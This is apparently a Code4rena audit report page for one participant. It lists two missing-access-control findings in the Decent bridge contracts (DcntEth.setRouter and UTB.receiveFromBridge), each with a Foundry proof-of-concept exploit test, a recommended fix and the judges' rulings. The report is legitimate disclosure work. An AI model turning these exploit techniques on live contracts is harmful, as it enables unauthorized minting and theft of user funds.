Platform: Code4rena
Start Date: 19/01/2024
Pot Size: $36,500 USDC
Total HM: 9
Participants: 113
Period: 3 days
Judge: 0xsomeone
Id: 322
League: ETH
Rank: 65/113
Findings: 2
Award: $17.42
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: NPCsCorp
Also found by: 0x11singh99, 0xAadi, 0xBugSlayer, 0xE1, 0xPluto, 0xSimeon, 0xSmartContract, 0xabhay, 0xdice91, 0xprinc, Aamir, Aymen0909, CDSecurity, DadeKuma, DarkTower, EV_om, Eeyore, GeekyLumberjack, GhK3Ndf, Giorgio, Greed, Inference, JanuaryPersimmon2024, Kaysoft, Krace, Matue, MrPotatoMagic, NentoR, Nikki, PUSH0, Soliditors, Tendency, Tigerfrake, Timeless, Timenov, ZanyBonzy, ZdravkoHr, abiih, adeolu, al88nsk, azanux, bareli, boredpukar, cu5t0mpeo, d4r3d3v1l, darksnow, deth, dutra, ether_sky, haxatron, ke1caM, kodyvim, m4ttm, mgf15, mrudenko, nmirchev8, nobody2018, nuthan2x, peanuts, piyushshukla, ravikiranweb3, rouhsamad, seraviz, simplor, slylandro_star, stealth, th13vn, vnavascues, wangxx2026, zaevlad
0.1172 USDC - $0.12
In the DcntEth contract, the setRouter
function does not have an ACL, allowing anyone to change the address of the router variable.
DcntEth.sol#L20-L22
function setRouter(address _router) public { router = _router; }
Because of this, the mint
and burn
functions that have onlyRouter ACL become practically public.
DcntEth.sol#L24-L26
function mint(address _to, uint256 _amount) public onlyRouter { _mint(_to, _amount); }
function burn(address _from, uint256 _amount) public onlyRouter { _burn(_from, _amount); }
modifier onlyRouter() { require(msg.sender == router); _; }
This way, being able to mint and burn Decent Eth, the contract loses all logic and can drain user accounts or create tokens for one's own benefit.
The following test can be used to validate missing ACL:
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.0; import {DecentBridgeExecutor} from "../src/DecentBridgeExecutor.sol"; import {Test, console, console2} from "forge-std/Test.sol"; import {CommonBase} from "forge-std/Base.sol"; import {StdCheats} from "forge-std/StdCheats.sol"; import {WETH} from "solmate/tokens/WETH.sol"; import {DecentEthRouter} from "src/DecentEthRouter.sol"; import {DcntEth} from "src/DcntEth.sol"; import {CommonRouterSetup} from "test/util/CommonRouterSetup.sol"; contract DecentEthRouterNoFork is CommonRouterSetup { WETH weth; address lzEndpointArbitrum = 0x3c2269811836af69497E5F486A85D7316753cf62; bool isGasEth = true; function setUp() public { weth = new WETH(); DecentBridgeExecutor executor = new DecentBridgeExecutor(payable(address(weth)), isGasEth); router = new DecentEthRouter( payable(address(weth)), isGasEth, address(executor) ); executor.transferOwnership(address(router)); dcntEth = new DcntEth(lzEndpointArbitrum); router.registerDcntEth(address(dcntEth)); dcntEth.setRouter(address(router)); } function testAttack() public { vm.startPrank(alice); dcntEth.setRouter(alice); vm.deal(alice, 0.1 ether); dcntEth.mint(alice, 0.1 ether); vm.stopPrank(); } // Function to receive Ether. msg.data must be empty receive() external payable {} // Fallback function is called when msg.data is not empty fallback() external payable {} }
Run using:
forge test --mt testAttack
vscode, foundry
Implement an ACL for this function, so that only authorized accounts make this change.
Access Control
#0 - c4-pre-sort
2024-01-24T19:51:28Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-01-24T19:51:35Z
raymondfam marked the issue as duplicate of #14
#2 - c4-judge
2024-02-03T13:16:47Z
alex-ppg marked the issue as satisfactory
17.3003 USDC - $17.30
https://github.com/code-423n4/2024-01-decent/blob/main/src/UTB.sol#L311-L319
In the UTB contract, we have the receiveFromBridge function: UTB.sol#L311-L319
function receiveFromBridge( SwapInstructions memory postBridge, address target, address paymentOperator, bytes memory payload, address payable refund ) public { _swapAndExecute(postBridge, target, paymentOperator, payload, refund); }
This function does not have access control, so it can be called by any user, rendering the swapAndExecute function useless, which has access control and fees to be paid: UTB.sol#L108-L124
function swapAndExecute( SwapAndExecuteInstructions calldata instructions, FeeStructure calldata fees, bytes calldata signature ) public payable retrieveAndCollectFees(fees, abi.encode(instructions, fees), signature) { _swapAndExecute( instructions.swapInstructions, instructions.target, instructions.paymentOperator, instructions.payload, instructions.refund ); }
The following test can be used to validate missing ACL:
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.0; import {ERC20} from "solmate/tokens/ERC20.sol"; import {UTB, SwapInstructions, SwapAndExecuteInstructions, FeeStructure} from "../src/UTB.sol"; import {UTBExecutor} from "../src/UTBExecutor.sol"; import {UniSwapper} from "../src/swappers/UniSwapper.sol"; import {SwapParams} from "../src/swappers/SwapParams.sol"; import {XChainExactOutFixture} from "./helpers/XChainExactOutFixture.sol"; import "forge-std/console.sol"; contract UTBExactOutRoutesTest is XChainExactOutFixture { function setUp() public { src = optimism; dst = arbitrum; preSlippage = 2; postSlippage = 3; initialEthBalance = 1 ether; initialUsdcBalance = 10e6; MINT_GAS = 9e5; setRuntime(ENV_FORGE_TEST); loadAllChainInfo(); setupUsdcInfo(); setupWethHelperInfo(); loadAllUniRouterInfo(); setSkipFile(true); vm.label(alice, "alice"); vm.label(bob, "bob"); } function testSwapWethToUsdcAndMintAnNft() public { string memory chain = arbitrum; ( UTB utb, /*UTBExecutor executor*/, UniSwapper swapper, , , ) = deployUTBAndItsComponents(chain); uint256 slippage = 1; address weth = getWeth(chain); address usdc = getUsdc(chain); cat = deployTheCat(chain); uint usdcOut = cat.price(); (SwapParams memory swapParams, uint expected) = getSwapParamsExactOut( chain, weth, usdc, usdcOut, slippage ); address payable refund = payable(alice); SwapInstructions memory swapInstructions = SwapInstructions({ swapperId: swapper.getId(), swapPayload: abi.encode(swapParams, address(utb), refund) }); mintWethTo(chain, alice, swapParams.amountIn); startImpersonating(alice); ERC20(weth).approve(address(utb), swapParams.amountIn); SwapAndExecuteInstructions memory instructions = SwapAndExecuteInstructions({ swapInstructions: swapInstructions, target: address(cat), paymentOperator: address(cat), refund: refund, payload: abi.encodeCall(cat.mintWithUsdc, (bob))}); (bytes memory signature,FeeStructure memory fees) = getFeesAndSignature(instructions); console.logUint(ERC20(usdc).balanceOf(address(cat))); console.logUint(ERC20(weth).balanceOf(refund)); utb.swapAndExecute(instructions, fees, signature); console.logUint(ERC20(usdc).balanceOf(address(cat))); console.logUint(ERC20(weth).balanceOf(refund)); vm.prank(bob); utb.receiveFromBridge(instructions.swapInstructions , instructions.target, instructions.paymentOperator, instructions.payload , instructions.refund ); stopImpersonating(); console.logUint(ERC20(usdc).balanceOf(address(cat))); console.logUint(ERC20(weth).balanceOf(refund)); } }
Use the following command to run the test:
forge test --match-test "testSwapWethToUsdcAndMintAnNft" -vv
vscode
Implement an ACL in the receiveFromBridge function, allowing only access from the bridge adapter.
Access Control
#0 - c4-pre-sort
2024-01-25T22:30:32Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-01-25T22:30:40Z
raymondfam marked the issue as duplicate of #15
#2 - alex-ppg
2024-02-03T12:12:54Z
Insufficient emphasis has been set on the fee-dodging mechanism, and the UTB::swapAndExecute
function does not have ACL but rather signature validation of its payloads.
#3 - c4-judge
2024-02-03T12:12:57Z
alex-ppg marked the issue as partial-75